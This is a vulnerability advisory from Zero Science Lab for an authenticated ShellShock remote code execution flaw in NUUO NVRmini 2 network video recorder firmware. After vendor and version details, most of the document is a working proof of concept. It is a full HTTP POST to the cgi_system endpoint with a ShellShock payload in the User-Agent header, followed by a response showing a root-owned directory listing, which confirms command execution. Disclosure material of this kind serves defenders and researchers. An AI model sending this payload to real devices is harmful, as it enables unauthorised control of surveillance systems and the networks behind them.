NUUO NVRmini 2 NE-4160 ShellShock Remote Code Execution

`i>>?  
NUUO NVRmini 2 NE-4160 ShellShock Remote Code Execution  
  
  
Vendor: NUUO Inc.  
Product web page: http://www.nuuo.com  
Affected version: Firmware Version: 02.02.00  
NVR Version: 02.02.0000.0040  
Device Pack Version: 04.07.0000.0030  
  
  
Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS  
functionality. Setup is simple and easy, with automatic port forwarding  
settings built in. NVRmini 2 supports POS integration, making this the perfect  
solution for small retail chain stores. NVRmini 2 also comes full equipped as  
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping  
and RAID functions for data protection. Choose NVR and know that your valuable video  
data is safe, always.  
  
Desc: NUUO NVRmini, NVRmini2, Crystal, NVRSolo suffers from authenticated ShellShock  
vulnerability. This could allow an attacker to gain control over a targeted computer  
if exploited successfully. The vulnerability affects Bash, a common component known  
as a shell that appears in many versions of Linux and Unix.  
  
Tested on: GNU/Linux 2.6.31.8 (armv5tel)  
lighttpd/1.4.28  
PHP/5.5.3  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2016-5352  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5352.php  
  
  
14.01.2016  
  
--  
  
  
POST /cgi-bin/cgi_system HTTP/1.1  
Host: 10.0.0.17  
Content-Length: 91  
Origin: http://10.0.0.17  
X-Requested-With: XMLHttpRequest  
User-Agent: () { :;}; /bin/ls -al  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Accept: */*  
Referer: http://10.0.0.17/protocol_ftp.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.8  
Cookie: PHPSESSID=3bc601000ea8f085c22cb37b9b102b7f; lang=en  
Connection: close  
  
cmd=ftp_setup&act=modify&com_port=21&pasv_port_from=1024&pasv_port_to=65535&services=enable  
  
  
Response:  
  
HTTP/1.1 200 OK  
Connection: close  
Date: Fri, 15 Jan 2016 13:09:11 GMT  
Server: lighttpd/1.4.28  
Content-Length: 1652  
  
drwxr-xr-x 3 root root 402 Oct 20 2014 .  
drwxr-xr-x 6 root root 1024 Jan 4 22:49 ..  
-rwxr-xr-x 1 root root 256564 Oct 20 2014 DaylightSavingWatcher  
-rwxr-xr-x 1 root root 51376 Oct 20 2014 NuDatTool  
-rwxr-xr-x 1 root root 60500 Oct 20 2014 NuDiscovery  
-rwxr-xr-x 1 root root 930652 Oct 20 2014 NuHWMgn  
-rwxr-xr-x 1 root root 8236 Oct 20 2014 NuNICWatcher  
-rwxr-xr-x 1 root root 309 Oct 20 2014 after_mount.sh  
lrwxrwxrwx 1 root root 7 Oct 20 2014 archive_mrg_mv -> lite_mv  
-rwxr-xr-x 1 root root 1114844 Oct 20 2014 auto_upgrade  
lrwxrwxrwx 1 root root 7 Oct 20 2014 cgi_main -> lite_mv  
-rwxr-xr-x 1 root root 576992 Oct 20 2014 cgi_system  
lrwxrwxrwx 1 root root 7 Oct 20 2014 ddns_update -> lite_mv  
-rwxr-xr-x 1 root root 570 Oct 20 2014 getdhcpip.sh  
-rwxr-xr-x 1 root root 388 Oct 20 2014 halt  
drwxr-xr-x 2 root root 41 Oct 20 2014 lib  
-rwxr-xr-x 1 root root 3827188 Oct 20 2014 lite_mv  
-rwxr-xr-x 1 root root 15396 Oct 20 2014 nagent_mv  
-rwxr-xr-x 1 root root 9836 Oct 20 2014 nu_btns  
-rwxr-xr-x 1 root root 3496 Oct 20 2014 nudaemon  
-rwxr-xr-x 1 root root 10616 Oct 20 2014 nufancontrol  
-rwxr-xr-x 1 root root 12772 Oct 20 2014 nuklogd  
-rwxr-xr-x 1 root root 392 Oct 20 2014 reboot  
-rwxr-xr-x 1 root root 13144 Oct 20 2014 thwstat  
FTP Setup OK  
`